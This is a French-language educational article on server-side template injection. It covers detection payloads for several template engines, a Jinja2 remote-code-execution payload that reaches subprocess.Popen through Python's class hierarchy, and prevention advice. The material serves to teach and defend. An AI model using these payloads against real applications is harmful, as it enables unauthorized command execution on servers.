SSTI : injection de modèle côté serveur
Les moteurs de template (Jinja2, Twig, Freemarker, Pebble, Velocity) évaluent des expressions dans des balises spéciales. Quand une entrée utilisateur est concaténée directement dans le template avant son évaluation (plutôt que d'être passée comme variable), l'attaquant peut injecter des expressions qui seront évaluées par le moteur. Selon le moteur et la configuration, cela va de la lecture de variables sensibles à l'exécution de commandes OS.
Identification d'une SSTI
Le test de détection classique consiste à soumettre une expression mathématique dans la syntaxe du moteur et vérifier si elle est évaluée. Si l'application affiche le résultat de l'expression plutôt que la chaîne littérale, elle est vulnérable.
Payloads de détection par moteur
# Jinja2 (Python/Flask)
{{7*7}} -> 49 (vulnérable)
{{7*'7'}} -> 7777777 (confirme Jinja2)
# Twig (PHP)
{{7*7}} -> 49
${7*7} -> ${7*7} (n'est pas Twig)
# Freemarker (Java)
${7*7} -> 49
# Velocity (Java)
#set($x = 7*7)${x} -> 49
Exploitation : de l'évaluation à l'exécution de commandes
Exemple d'exploitation Jinja2 (RCE)
# Jinja2 : accès aux classes Python pour exécuter des commandes
{{''.__class__.__mro__[1].__subclasses__()}}
# Une fois la classe subprocess.Popen identifiée (index variable) :
{{''.__class__.__mro__[1].__subclasses__()[xxx](['id'],stdout=-1).communicate()[0]}}
# Résultat : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Prévention
La règle fondamentale : ne jamais concaténer des données utilisateur dans un template. Toujours les passer comme variables. La différence entre les deux patterns est critique.
Pattern vulnérable vs. correct (Jinja2)
from jinja2 import Environment
env = Environment()
# Vulnérable : l'entrée utilisateur fait partie du template
template_str = f"Bonjour {user_input}"
env.from_string(template_str).render()
# Correct : l'entrée utilisateur est une variable, pas du template
env.from_string("Bonjour {{ name }}").render(name=user_input)
Si le moteur de template doit être dynamique (l'utilisateur peut définir des templates), utiliser un sandbox : Jinja2 propose un SandboxedEnvironment qui restreint l'accès aux objets Python. Évaluer la nécessité de cette fonctionnalité et envisager des alternatives moins risquées (Mustache, Handlebars en mode non logique).
Pour aller plus loin
Une question après la lecture ?
Votre application utilise un moteur de template avec des données utilisateur ? Envoyez un message.
Ou réservez directement un cadrage de 30 minutes
Réserver un appel →